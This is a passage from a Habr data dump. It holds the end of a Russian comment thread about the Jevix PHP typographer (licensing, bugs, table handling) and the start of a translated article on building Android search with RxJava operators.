:)<br/>\r\n<br/>\r\nИнтересно было бы увидеть оба варианта :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">стоит на хабре запретить коментить с кармой меньше -5 например…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ага, все, кому не нравится, что ему срут на голову — толь, лжец и девственник…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ок, подскажи, как отключить на хабре этот порнотипограф. буду безмерно благодарен!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну вообще топик не о типографе на хабре. А просто о типографе, который используется на хабре :)<br/>\r\nМожешь обрамлять свои тексты в тег pre или code, тогда вроде типограф действовать не должен</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень просто — убить себя ап стену</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">не особо читабельный код, все свалено в кучу, плохая расширяемость.<br/>\r\nзато опенсорс, это похвально.<br/>\r\n<br/>\r\nуспехов в дальнейшей разработке проекта.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Знаете, я с Вами соглашусь. Оба недочета имеют место быть — это, наверно, один из самых запутаных кодов которые я когда-либо писал. Не буду вдаваться с чем это связано, это и так не сложно понять. Но Jevix оказался востребован, по этому, я его выложил, несмотря на код.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">первый раз вижу адекватного автора, спасибо =)<br/>\r\nя, собственно, написал это не с целью как-то «обкакать» продукт — мне нравятся такие инициативы, а затем, чтобы проект не забрасывали и развивали в сторону улучшения этих аспектов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Он по-прежнему вырезает неугодные теги, а не оставляет в безопасном виде? Возможно, стоит добавить пункт настроек с выбором нужного варианта.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, я вовремя я его выложил в opensource, сегодня вечером меня уволили :) По этому насчёт развития сложно теперь прогнозировать что-либо…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">за это и уволили?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да нет, не за это. Просто совпадение. Троих разом — кризис же. Меня, в частности, за то что слишком откровенно выражаю своё мнение</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Даже во время кризиса много кому нужны программисты. Думаю, Вам хорошее место найти будет не трудно, особенно после такой статьи ;)<br/>\r\nИскренне желаю успеха.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Спасибо. Вот хочу отдаться гуглу</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да не, прописывать не нужно, это обычное соглашение о дереве папок в хранилище SubVersion.<br/>\r\n<br/>\r\nсм. в <a href=\"http://svnbook.red-bean.com/nightly/en/svn.branchmerge.maint.html#svn.branchmerge.maint.layout\">мануале Subversion</a>.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А BSD не обязывает, как GPL исходный код публиковать?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">так это, написано же всё<br/>\r\n<br/>\r\nRedistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.<br/>\r\n<br/>\r\nпро исходники как видно ничего нет</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">да, важно: приведенный пример — это так называемая BSD-like licence, а тру BSD лицензию можно посмотреть на википедии например<br/>\r\n<a href=\"http://en.wikipedia.org/wiki/BSD_licenses\">en.wikipedia.org/wiki/BSD_licenses</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">мне было интересно отношение разработчиков к посетителям. к сожалению, мои опасения оправдались. разработчики не хотят думать о пользователях. им интересно сделать автотипограф (о боже! конечный автомат на пхп!) и они старательно закрывают глаза на то, что от него больше вреда, чем пользы.<br/>\r\n<br/>\r\nиспользовать тэги я не могу благодаря быдло-кунам. тем не менее, оборачивать все сообщения в pre или code, чтобы типограф банально не портил ссылки, — это безусловно воркэраунд, но проблема не в том, как запостить какой-то контент (впрочем, она тоже довольно актуальна: case.habrahabr.ru/blog/44483/), а в том, чтобы объяснить, что разработчики «do it wrong». проблема видимо нерешаемая…<br/>\r\n<br/>\r\nна всякий случай:<br/>\r\n«pre»<br/>\r\n«code»<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ага, насрали в карму так, что она ушла в минус, а потому пропали такие права как «получать зарплату», «писать код для компании» и «помогать улучшать её продукты» ^_^ знакомо…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У вас карма маленькая. Потому что вы человек деструктивный.<br/>\r\nВсе кто хотели конструктива поучаствовали в тестировании парсера или помогли дополнить код (видели сколько изменений). <br/>\r\n<br/>\r\nДа с позиции «do it wrong» задача действительно не решаемая. Нельзя изменить мир культивируя к нему отвращение. Его можно изменить другим способом</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">не деструктивный, а трезвый. я всеми руками за создание вещей, которые делают жизнь пользователя в сети лучше, проще, удобней. и категорически против вещей, которые делают ровно противоположное, чтобы удовлетворить тягу разработчиков к длинному тире и ёлочным кавычкам.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень жаль…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не стоит верить буквально всему :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А ты собираешься её развивать дальше?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я очень много чего собираюсь развивать.<br/>\r\n<br/>\r\nЭто — в частности. Особенно если попаду в такое место, где используют Perl.<br/>\r\n<br/>\r\nВообще, конечно, этому способствовал бы и фидбэк с пожеланиями. На perl-версию его практически нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ты хоть иногда в скайп выходи чтоли, а то ведь вообще никакой связи</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тогда извиняюсь за дезинформацию</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ок</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Рискуя вызвать недовольство всё же спрошу: а почему те тесты, которые входят в комплект, не автоматизированные? Строго говоря, это и не тест даже, а пример использования, верить ему нельзя…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Жаль, что в jevixtest.php нет примера с таблицами, а то вот, сделал:<br/>\r\n<br/>\r\n<pre>\n// 1. Устанавливаем разрешённые теги. (Все не разрешенные теги считаются запрещенными.)\n$jevix->cfgAllowTags(array( 'table', 'tr', 'td', 'tbody', 'th',\n\n// 7. Устанавливаем теги, которые может содержать тег контейнер\n$jevix->cfgSetTagChilds('table', array('tr', 'tbody'), true, true);\n$jevix->cfgSetTagChilds('tbody', array('tr'), true, true);\n$jevix->cfgSetTagChilds('tr', array('td', 'th'), true, true);\n</pre><br/>\r\n<br/>\r\nВроде все работает, но стоит написать, например:<br/>\r\n<br/>\r\n<pre>\n &lt;tr>\n &lt;th> &lt;/th>\n &lt;/tr>\n</pre><br/>\r\n<br/>\r\nТо jevix теги <pre>&lt;tr>&lt;/tr></pre> удалит, а <pre>&lt;th>&lt;/th></pre> оставит, может кто-нибудь подскажет, как надо сделать, что бы в моем примере удалялись все теги?<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Еще добавлю: не пойму, почему в файле jevixtest.php, где прописали правила, не написали правил для таблиц? А то как-то таблицы обошли стороной, может, эта версия их еще не умеет обрабатывать как следует?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Делаю также п.1,7. Но на таблицу не ругается только в том случае, если записываю её в строку без символов перевода строки, т.е. — тогда нормально. Это баг или что-то пропустил?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я пришел к выводу, что пока еще Jevix таблицы (теги, вложенные во вложенных) обрабатывать не умеет.<br/>\r\nИ еще один интересный баг: Если в пункте 1 разрешить теги <b>$jevix->cfgAllowTags(array( … 'noindex', 'index', 'x', … ));</b> то результаты обработки для каждого из этих тегов будет разный.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а нет ли возможности, установить для русского языка одни топографические правила, а для английского другие? </div>" ], "message_markdown": [ "Отличненько! Давно уже прикрутил к TinyMCE и радостно пользуюсь в проектах.", "спасибо :)\nотличная штука", "Спасибо.\n> P.S. Я ни черта не понимаю в лицензиях. Посоветуйте пожалуйста\nТолько не public domain.", "Ну и как его посмотреть, если исходники скачать с google code нельзя по причине их отсутствия?", "source — browse — trunc", "а может не стоит своё -дебильное- интеллектуальное типографирование навязывать всем? почему человеку нужно специально что-то писать, чтобы машина не занималась самодеятельностью? тем более с учётом невозможности редактировать коммент или использовать тэги с недостаточной кармой...", "Думаю, нужно так и прописывать ( что-то вроде «Смотрите в trunc»)", "поделитесь", "[code]\n svn checkout http://jevix.googlecode.com/svn/trunk/\n[/code]\nЛибо скачать из trunk jevix.class.php и папку tests", "Троль?", "[code]\n (С) 1999-2003г., ООО \"Фирма \"Эдельвейс\". Все права защищены.\n Она добавила: \"И цвет мой самый любимый - \"эсмеральда\"\".\n ООО \"Фирма \"Терминал\", НИИ \"ОблСнабВротКомпот\"\n[/code]\n(пример взят из www.typograf.ru/flog/test1.txt)\nЕсли обрабатывать кавычки начиная с последней (с конца документа), то можно решить проблему «тройных» кавычек. И, в некоторых случаях, расставлять знак дюйма для чисел.", "Долго ждал, спасибо!", "А версия для Perl будет?", "> P.S. Я ни черта не понимаю в лицензиях. Посоветуйте пожалуйста. Мне бы хотелось, чтобы код мог использоваться как в open-source так и в коммерческих проектах с возможностью модификации кода, но, с указанием авторства\nBSD/MIT", "спасибо!", "Успешно использую типограф на своем сайте, написал авторам письмо с просьбой вылать пример настройки с сайта, а мне никто не ответил(\nА вообще очень классная штука. Из замеченных багов — преждевременное обрезание ссылок со скобкой (http://4stud.org/blog.php?id=114)", "И с «тройными» кавычками трабла была, и со знаком дюйма.", "UFO just landed and posted this here", "Ваш ченджлог уполз под «Похожие публикации».", "This project currently has no downloads.\nЯ что-то не понимаю в Google Code?", "Perl версия скорее всего не будет развиваться. К тому же они сильно разошлись и стали, в принципе, разными проектами. Старая версия доступна на Jevix.ru", "А что она даёт?", "UFO just landed and posted this here", "Да, от тройных кавычек отказались намеренно, в пользу более качественной работы с двойными.\nС дюймами тоже сложно. Дело в том что фильтровать приходится не валидный HTML/XHTML а псевдо-код который пишут пользователи и надо определять это знак >, < или начало тега, то же с кавычками...", "Я старался всем ответить. Если про Вас забыл — извините. Было много писем, а я один", "У меня в .htaccess:\n[code]\n php_value mbstring.func_overload 7\n php_value default_charset UTF-8\n php_value mbstring.language Russian\n php_value mbstring.internal_encoding UTF-8\n php_flag mbstring.encoding_translation on\n php_value mbstring.http_input \"UTF-8,CP1251,KOI8-R\"\n php_value mbstring.http_output UTF-8\n php_value mbstring.detect_order \"UTF-8,CP1251,KOI8-R\"\n[/code]", "habrahabr.ru/blogs/habraworks/44423/#comment_1114373", "А они в чём?", "Не хочешь — не катай", "creativecommons.org/about/\nCreative Commons License\nЕсли в кратце, то:\n«Распространяйте [option: в таком же виде], изменяйте [option: или не изменяйте], пользуйтесь [option: только в некоммерческих целях], только укажите автора.»\nВыбор лицензии: creativecommons.org/about/license/", "", "Как-то неправильно это.\nЕсли уж релиз 1.0 — то надо выложить.", "UFO just landed and posted this here", "ru.wikipedia.org/wiki/Лицензии_BSD\nru.wikipedia.org/wiki/MIT_License", "php_value mbstring.func_overload 7 не рекомендованно использовать, тк иногда нужно посчитать длинну чего нить в байтах", "Так если в первой строке ошибка, так и в последней оказаться может.", "можно где-то скачать это?", "отличный типограф и отличная работа!", "UFO just landed and posted this here", "Ничего не понял. У меня везде по-умолчанию стоит UTF-8, и файлы в svn-е наверняка тоже в нём. Или нет?", "Я не хочу запрещать коммерческое использование", "Что это даёт?", "> Мне бы хотелось, чтобы код мог использоваться как в open-source так и в коммерческих проектах\n> с возможностью модификации кода, но, с указанием авторства\nчеловек может поюзать ваш код в закрытых проектах, но если он делает изменения или дополнения, то обязан их опубликовать.", "Выложил", "О — это мне нравится. А в коммерческих целях можно?", "поддерживаю", "И ещё — я не нашёл там LGPL. Вот предлагаемый список:\nApache License 2.0\nArtistic License/GPL\nEclipse Public License 1.0\nGNU General Public License v2\nGNU General Public License v3\nGNU Lesser General Public License\nMIT License\nMozilla Public License 1.1\nNew BSD License", "Ну тогда можно не использовать, но заменить функции внутри класса на mb_* эквиваленты", "Посмотрите сами. Тут и выбор, и помощь, и ссылки на СС-GNU, СС-LGNU и BSD лицензии.\ncreativecommons.org/license/", "можно.", "Конечно я сам могу. Некогда вникать, по этому прошу помощи", "Большое спасибо, хороший продукт от разработчиков любимого ресурса.", "Ждите.\nПожалуй, сделаю запись в блоге.\nУведомлю в данном топике.\nБез проблем.", "GNU Lesser General Public License", "Ну как и все остальное в тиниМЦЕ возможно 2-мя способами — автоматом обрабатывать текст после «сохранения» (постпроцессинг) или плагин. В моем случае это почти плагин. Сыроватый. Недоработанный (не учитывает верстку, режет).", "Может быть, поднимете где-то демку?", "Не понял о чем вы. Если в тексте ошибка, то тут уж никакой алгоритм не поможет.\nПопытался описать алгоритм словами, но что-то туго выходит :-)\nПоэтому, примерный код из моего типографа:\n[code]\n for ( $close = 0, $i = -1, $k = strlen( $text ) - 1; $i >= -$k && ( $p = strrpos( $text, '\"', $i ) ) !== false; $i = $p - $k ) {\n if ( $p == $k || ( $p != 0 && strpos( ' (', $text[ $p - 1 ] ) === false && strpos( \" ,.?!)<¬]&}\\\"\\n;:-»“\", $text[ $p + 1 ] ) !== false ) ) {\n $close++;\n $text[ $p ] = $close > 1 ? '“' : '»';\n }\n else {\n $text[ $p ] = $close > 1 ? '„' : '«';\n if ( $close != 0 ) {\n $close--;\n }\n elseif ( ( $p1 = strpos( $text, '“', $p ) ) !== false && strpos( $text, '»', $p ) > $p1 ) {\n $text[ strrpos( $text, '«', $i ) ] = '„';\n }\n }\n }\n $text = str_replace( array( '«', '»', '„', '“' ), array( '«', '»', '„', '“' ), $text );\n[/code]", "Не, не до этого. Хабр — как одна из демок", "BSD или тот вариант CC где не запрещено коммерческое использование.\nвообще, лучше всё-таки вникнуть хотя бы в BSD.\nкракое содержание BSD — делайте чего хотите, только чтоб был копирайт, условия, и дисклеймер о том, что автора не волнуют ваши прямые или косвенные убытки, и никакой отвественности он за это не несёт.\nпример лицензии вашего шаблонного движка ;)\nCopyright © 2005 Alexey A. Rybak\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n1\\. Redistributions of source code must retain the above copyright\nnotice, this list of conditions and the following disclaimer.\n2\\. Redistributions in binary form must reproduce the above copyright\nnotice, this list of conditions and the following disclaimer in the\ndocumentation and/or other materials provided with the distribution.\nTHIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\nOR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\nLIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\nOUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGE.", "Намекните, как прикрутить к IPB?", "А как тут дела обстоят с вставкой видео (с youtube, rutube и т.д.)?!?", "> 0.94\n> \\+ Добавлена настройка автодобавления параметров тегов. Непример rel = «nofolow» для ссылок.\n>\nЯ надеюсь, вы опечатались и там на самом деле движок пишет «nofollow», а не «nofolow»?", "Движок пишет что укажешь, а я опячатался", "скажите, а то, что абзацы вовсе не размечаются, а только расставляются br'ы — это зачем? может, стоит сделать по выбору?", "ну могли бы вставить скриншоты какие-нибудь для примера, наглядности и ясности что этот скрипт делает.", "особенно учитывая, что у jevix, который на jevix.ru, это есть, хоть и не очень верное — хочется иметь возможность параграфить текст, в котором перенос строки — это и есть абзац; если копировать текст, скажем, из ворда, то там так и будет...", "Потестируем, поотлаживаем заодно :)\nИнтересно было бы увидеть оба варианта :)", "стоит на хабре запретить коментить с кармой меньше -5 например...", "ага, все, кому не нравится, что ему срут на голову — толь, лжец и девственник...", "ок, подскажи, как отключить на хабре этот порнотипограф. буду безмерно благодарен!", "Ну вообще топик не о типографе на хабре. А просто о типографе, который используется на хабре :)\nМожешь обрамлять свои тексты в тег pre или code, тогда вроде типограф действовать не должен", "UFO just landed and posted this here", "Очень просто — убить себя ап стену", "не особо читабельный код, все свалено в кучу, плохая расширяемость.\nзато опенсорс, это похвально.\nуспехов в дальнейшей разработке проекта.", "Знаете, я с Вами соглашусь. Оба недочета имеют место быть — это, наверно, один из самых запутаных кодов которые я когда-либо писал. Не буду вдаваться с чем это связано, это и так не сложно понять. Но Jevix оказался востребован, по этому, я его выложил, несмотря на код.", "первый раз вижу адекватного автора, спасибо =)\nя, собственно, написал это не с целью как-то «обкакать» продукт — мне нравятся такие инициативы, а затем, чтобы проект не забрасывали и развивали в сторону улучшения этих аспектов.", "Он по-прежнему вырезает неугодные теги, а не оставляет в безопасном виде? Возможно, стоит добавить пункт настроек с выбором нужного варианта.", "Да, я вовремя я его выложил в opensource, сегодня вечером меня уволили :) По этому насчёт развития сложно теперь прогнозировать что-либо...", "за это и уволили?", "Да нет, не за это. Просто совпадение. Троих разом — кризис же. Меня, в частности, за то что слишком откровенно выражаю своё мнение", "Даже во время кризиса много кому нужны программисты. Думаю, Вам хорошее место найти будет не трудно, особенно после такой статьи ;)\nИскренне желаю успеха.", "Спасибо. Вот хочу отдаться гуглу", "Да не, прописывать не нужно, это обычное соглашение о дереве папок в хранилище SubVersion.\nсм. в мануале Subversion.", "А BSD не обязывает, как GPL исходный код публиковать?", "так это, написано же всё\nRedistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\nпро исходники как видно ничего нет", "да, важно: приведенный пример — это так называемая BSD-like licence, а тру BSD лицензию можно посмотреть на википедии например\nen.wikipedia.org/wiki/BSD_licenses", "мне было интересно отношение разработчиков к посетителям. к сожалению, мои опасения оправдались. разработчики не хотят думать о пользователях. им интересно сделать автотипограф (о боже! конечный автомат на пхп!) и они старательно закрывают глаза на то, что от него больше вреда, чем пользы.\nиспользовать тэги я не могу благодаря быдло-кунам. тем не менее, оборачивать все сообщения в pre или code, чтобы типограф банально не портил ссылки, — это безусловно воркэраунд, но проблема не в том, как запостить какой-то контент (впрочем, она тоже довольно актуальна: case.habrahabr.ru/blog/44483/), а в том, чтобы объяснить, что разработчики «do it wrong». проблема видимо нерешаемая...\nна всякий случай:\n«pre»\n«code»", "ага, насрали в карму так, что она ушла в минус, а потому пропали такие права как «получать зарплату», «писать код для компании» и «помогать улучшать её продукты» ^_^ знакомо...", "У вас карма маленькая. Потому что вы человек деструктивный.\nВсе кто хотели конструктива поучаствовали в тестировании парсера или помогли дополнить код (видели сколько изменений).\nДа с позиции «do it wrong» задача действительно не решаемая. Нельзя изменить мир культивируя к нему отвращение. Его можно изменить другим способом", "не деструктивный, а трезвый. я всеми руками за создание вещей, которые делают жизнь пользователя в сети лучше, проще, удобней. и категорически против вещей, которые делают ровно противоположное, чтобы удовлетворить тягу разработчиков к длинному тире и ёлочным кавычкам.", "Очень жаль...", "Не стоит верить буквально всему :-)", "А ты собираешься её развивать дальше?", "Я очень много чего собираюсь развивать.\nЭто — в частности. Особенно если попаду в такое место, где используют Perl.\nВообще, конечно, этому способствовал бы и фидбэк с пожеланиями. На perl-версию его практически нет.", "Ты хоть иногда в скайп выходи чтоли, а то ведь вообще никакой связи", "Тогда извиняюсь за дезинформацию", "", "Рискуя вызвать недовольство всё же спрошу: а почему те тесты, которые входят в комплект, не автоматизированные? Строго говоря, это и не тест даже, а пример использования, верить ему нельзя...", "Жаль, что в jevixtest.php нет примера с таблицами, а то вот, сделал:\n[code]\n // 1. Устанавливаем разрешённые теги. (Все не разрешенные теги считаются запрещенными.)\n $jevix->cfgAllowTags(array( 'table', 'tr', 'td', 'tbody', 'th',\n // 7. Устанавливаем теги, которые может содержать тег контейнер\n $jevix->cfgSetTagChilds('table', array('tr', 'tbody'), true, true);\n $jevix->cfgSetTagChilds('tbody', array('tr'), true, true);\n $jevix->cfgSetTagChilds('tr', array('td', 'th'), true, true);\n[/code]\nВроде все работает, но стоит написать, например:\n[code]\n <tr>\n <th> </th>\n </tr>\n[/code]\nТо jevix теги\n[code]\n <tr></tr>\n[/code]\nудалит, а\n[code]\n <th></th>\n[/code]\nоставит, может кто-нибудь подскажет, как надо сделать, что бы в моем примере удалялись все теги?", "Еще добавлю: не пойму, почему в файле jevixtest.php, где прописали правила, не написали правил для таблиц? А то как-то таблицы обошли стороной, может, эта версия их еще не умеет обрабатывать как следует?", "Делаю также п.1,7. Но на таблицу не ругается только в том случае, если записываю её в строку без символов перевода строки, т.е. — тогда нормально. Это баг или что-то пропустил?", "Я пришел к выводу, что пока еще Jevix таблицы (теги, вложенные во вложенных) обрабатывать не умеет.\nИ еще один интересный баг: Если в пункте 1 разрешить теги $jevix->cfgAllowTags(array( ... 'noindex', 'index', 'x', ... )); то результаты обработки для каждого из этих тегов будет разный.", "UFO just landed and posted this here", "а нет ли возможности, установить для русского языка одни топографические правила, а для английского другие?" ], "author": [ "Андрей Румм (RayZ)", "Алексей (cwer)", "Дмитрий (DemiurgeOrion)", "shadeR (shadeR)", "Алексей (cwer)", "​Василий Пупкинъ (tenshi)", "shadeR (shadeR)", "Тимофей (Vorchun)", "Денис (ur001)", "Алексей (GarretUA)", "Михаил Калашник (Splurov)", "Дмитрий (bdsoft)", "kai (kai)", "dypa (DYPA)", "Куликов Алексей (clops)", "a11aud (a11aud)", "kai (kai)", "{}", "Александр Карпинский (homm)", "grmbl (grmbl)", "Денис (ur001)", "Денис (ur001)", "{}", "Денис (ur001)", "Денис (ur001)", "Денис (ur001)", "Михаил Калашник (Splurov)", "Денис (ur001)", "Шкрылев Николай (snnwolf)", "Дад, просто — дад. (daD)", "Алексей Фомкин (yelbota)", "grmbl (grmbl)", "{}", "dypa (DYPA)", "dypa (DYPA)", "Павел (nps)", "Rulez (Rulez)", "Максим (ort)", "{}", "Денис (ur001)", "Денис (ur001)", "Денис (ur001)", "Алексей Фомкин (yelbota)", "Денис (ur001)", "Денис (ur001)", "Richard_Ferlow (Richard_Ferlow)", "Денис (ur001)", "Денис (ur001)", "Дад, просто — дад. (daD)", "Алексей Фомкин (yelbota)", "Денис (ur001)", "M0sTH8 (M0sTH8)", "Андрей Румм (RayZ)", "Алексей Фомкин (yelbota)", "Андрей Румм (RayZ)", "Michael Yakovis (yakovis)", "Михаил Калашник (Splurov)", "Денис (ur001)", "Рыбак Алексей (fisher)", "Данил Снитко (Kukalyakin)", "del (navix)", "Дима Семьюшкин (Devgru)", "Денис (ur001)", "Michael Yakovis (yakovis)", "mdg12v (magicstream)", "Michael Yakovis (yakovis)", "Richard_Ferlow (Richard_Ferlow)", "Сергей (glukas)", "​Василий Пупкинъ (tenshi)", "​Василий Пупкинъ (tenshi)", "Алексей (cwer)", "{}", "Денис (ur001)", ".silent (silentroach)", "Денис (ur001)", ".silent (silentroach)", "Артур Рейльян (ernt)", "Денис (ur001)", ".silent (silentroach)", "Денис (ur001)", ".silent (silentroach)", "Денис (ur001)", "Анатолий Буров (anatoly_rr)", "juks (juks)", "Рыбак Алексей (fisher)", "Рыбак Алексей (fisher)", "​Василий Пупкинъ (tenshi)", "​Василий Пупкинъ (tenshi)", "Денис (ur001)", "​Василий Пупкинъ (tenshi)", "Алексей Шоков (alexeyshockov)", "juks (juks)", "Денис (ur001)", "juks (juks)", "juks (juks)", "Денис (ur001)", "Денис (ur001)", "marazmiki", "inetlover (inetlover)", "inetlover (inetlover)", "Илья Гудков (Pride)", "inetlover (inetlover)", "{}", "Maxim Chkan (Chkanchik)" ], "children": [ [ 1114363, 1114781, 1114801 ], [], [], [ 1114345, 1114373 ], [ 1114353 ], [ 1114385, 1114566 ], [ 1116190 ], [ 1114850 ], [], [ 1115535, 1115619 ], [ 1114721 ], [], [ 1114503 ], [ 1114505 ], [], [ 1114470, 1114518 ], [ 1114514 ], [ 1114522 ], [], [ 1114550 ], [ 1118030 ], [ 1114639 ], [ 1114560 ], [], [], [ 1114645 ], [ 1114593 ], [ 1114608 ], [ 1115681 ], [ 1114826 ], [ 1114829 ], [ 1114841 ], [ 1114822 ], [], [ 1114855 ], [ 1114952 ], [ 1114867 ], [], [], [ 1115720 ], [ 1114856 ], [ 1114840 ], [ 1114846, 1114853 ], [], [ 1114858 ], [], [ 1114873 ], [], [ 1114861 ], [], [ 1115139 ], [], [ 1114883 ], [], [ 1115434 ], [ 1114964 ], [], [ 1115336 ], [ 1116219 ], [], [], [ 1115278 ], [], [ 1115344 ], [], [], [], [], [], [ 1115701, 1115837 ], [ 1117144 ], [], [], [ 1115895 ], [ 1115909 ], [ 1116063 ], [], [ 1116068 ], [ 1116078 ], [ 1116117, 1117196 ], [ 1116123 ], [], [], [ 1116258, 1116263 ], [], [], [ 1117261 ], [], [ 1117608 ], [], [ 1119316 ], [ 1119328 ], [ 1119341, 1119345 ], [ 1119352 ], [ 1119353 ], [], [], [], [ 1201495 ], [], [ 1202636 ], [], [], [] ] }
345,278
ru
https://habr.com/ru/post/345278/
Реализация поиска с использованием RxJava
В данной статье будет рассмотрена оптимальная и компактная реализация поиска с использованием RxJava для Android, отсеивающая ненужные результаты и уменьшающая количество бесполезных сетевых вызовов. Оригинал написан 16 октября 2017. Перевод вольный. В настоящее время большинство приложений, которые мы ежедневно используем, предоставляют возможность быстрого поиска. Поэтому реализация поиска — важная задача. Нам же, как разработчикам, важно реализовать поиск лучшим путем. Рассмотрим как реализовать поиск лучшим способом с использованием RxJava. Не забывайте, в RxJava есть операторы для всего. Лично я верю, что можно решить любую проблему очень легко с использованием RxJava, что может оказаться очень сложным без RxJava. RxJava прекрасная технология. Взгляните на элементы RxJava, которые мы будем использовать для реализации поиска: Publish Subject: Если вы не сталкивались с этим оператором, то взгляните на эту статью Filter Debounce DistinctUntilChanged SwitchMap ## Начнем Сначала нужно сделать SearchView observable. Сделаем его с использованием PublishSubject. Я использую SearchView из Android. View может быть любым, с функционалом как у EditText. Для реализации observable нужно реализовать listener для изменения текста в поле. [code] public class RxSearchObservable { public static Observable<String> fromView(SearchView searchView) { final PublishSubject<String> subject = PublishSubject.create(); searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() { @Override public boolean onQueryTextSubmit(String s) { subject.onComplete(); return true; } @Override public boolean onQueryTextChange(String text) { subject.onNext(text); return true; } }); return subject; } [/code] > Замечание от ConstOrVar: > Observable для SearchView будет не совсем корректно работать. Вы на него подписываетесь в onCreate(), но при срабатывании onQueryTextSubmit() произойдет отписка, так как вызовется onComplete. Получается, что повторный поиск не будет работать. Чтобы повторный поиск работал, нужно избавиться от subject.onComplete(); > > Замечание от Scrobot и BFS: > Не стоит использовать Subject, он существует только для 1 цели: соединять императивный стиль с реактивным. Лучше использовать Observable.create(). Поиск это ровно тот кейс, когда нужно думать о Backpressure, а поскольку практически все сегодня используют RxJava2, то там эта проблема решена с помощью Flowable, и лучше этот кейс зарефакторить на него. > Далее необходимо вызвать созданный метод и добавить вызовы операторов, как в примере ниже. [code] RxSearchObservable.fromView(searchView) .debounce(300, TimeUnit.MILLISECONDS) .filter(new Predicate<String>() { @Override public boolean test(String text) throws Exception { if (text.isEmpty()) { return false; } else { return true; } } }) .distinctUntilChanged() .switchMap(new Function<String, ObservableSource<String>>() { @Override public ObservableSource<String> apply(String query) throws Exception { return dataFromNetwork(query); } }) .subscribeOn(Schedulers.io()) .observeOn(AndroidSchedulers.mainThread()) .subscribe(new Consumer<String>() { @Override public void accept(String result) throws Exception { textViewResult.setText(result); } }); [/code] Теперь обсудим почему используются именно эти операторы и как они работают вместе. ### Debounce Этому оператору передаются параметры времени. В данном случае он отлавливает события ввода пользователем текста, например, «a», «ab», «abc». Ввод часто происходит очень быстро и это чревато большим количеством сетевых вызовов. Но пользователь обычно заинтересован только в результатах для «abc». Итак, нужно отбросить выполнение запросов для «a», «ab». Оператор debounce спешит на помощь. Он ожидает бездействия пользователя в течение переданного в параметре времени. Если во время ожидания будет осуществлен какой-либо ввод, то счётчик ожидания сбросится, отсчет начнется заново, предыдущий переданный результат, например, «a» будет отброшен. Таким образом, оператор debounce передает дальше по цепочке только те элементы, которые продержались без вызова новых событий в течение указанного времени ожидания. ### Filter Данный оператор используется для отсеивания нежелательных строк, например, пустой строки, чтобы избежать ненужных сетевых вызовов. ### DistinctUntilChanged Данный оператор используется для того, чтобы избежать дублирования сетевых вызовов. Например, последний поисковой запрос был «abc», затем пользователь удалил «c» и заново ввел «c». Результат снова «abc». Если сетевой вызов уже в процессе с тем же параметром, то оператор distinctUntilChanged не даст осуществить аналогичный вызов повторно. Таким образом, оператор distinctUntilChanged отсеивает повторяющиеся последовательно переданные ему элементы. ### SwitchMap В данном примере этот оператор используется для исключения сетевых вызовов, результаты которых больше не нужно показывать пользователю. Например, последним поисковым запросом был «ab» и есть работающий сетевой вызов для этого запроса, 